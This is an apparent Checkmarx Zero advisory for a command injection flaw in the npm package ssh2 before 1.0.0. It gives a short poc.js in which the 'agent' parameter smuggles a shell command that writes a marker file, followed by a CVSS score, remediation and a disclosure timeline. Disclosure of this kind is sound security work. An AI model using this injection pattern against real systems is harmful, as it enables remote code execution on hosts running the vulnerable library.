---
title: "CX-2021-4812"
date: "2021-09-01T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4812/"
---

# CX-2021-4812

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: May 29, 2021

No CVE assigned  **Published:** Sep 1, 2021

9.8 Critical Severity javascript node nodejs npm RCE

MT Mario Teixeira  Reported by Checkmarx Zero

Details Overview

## Summary

Affected versions of the NPM package `ssh2` allow command injection through the unsafe execution of user-controlled parameters.

## Product

This vulnerability affects versions of `ssh2` prior to 1.0.0.

## Impact

This issue may lead to remote code execution if malicious input is passed to the `agent` parameter.

## Steps to reproduce

1. An SSH server must be running.
2. Create the file `poc.js`:

    ```js
    require('ssh2')().connect({
     'agent': "/"& echo vulnerable > result"",
     'username': "checkmarx",
     'tryKeyboard': true
    })
    ```
3. Run `node poc.js`

### Expected result:

A file named `result` will be created with “vulnerable” written inside.

## Remediation

1. Update to version 1.0.0 or above.
2. As a workaround, make sure untrusted input can’t be passed to the vulnerable parameters when using the library.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Analysts [André Sá](https://www.linkedin.com/in/andre-m-sa/) and [Mário Teixeira](https://www.linkedin.com/in/marioleitao-teixeira/).

## Resources

1. [Vulnerable code](https://github.com/mscdex/ssh2/blob/v0.8.9/lib/agent.js#L206)
2. [Issue](https://github.com/mscdex/ssh2/issues/935)
3. [f76327](https://github.com/mscdex/ssh2/commit/f763271f41320e71d5cbee02ea5bc6a2ded3ca21)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Fixed Oct 7, 2020 The vulnerability had been fixed on GH, but not on NPM
2. Discovered Jan 7, 2021
3. Disclosed Jan 20, 2021 The vulnerability was privately disclosed to the maintainer
4. Fixed May 29, 2021 The fix version was released on NPM

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)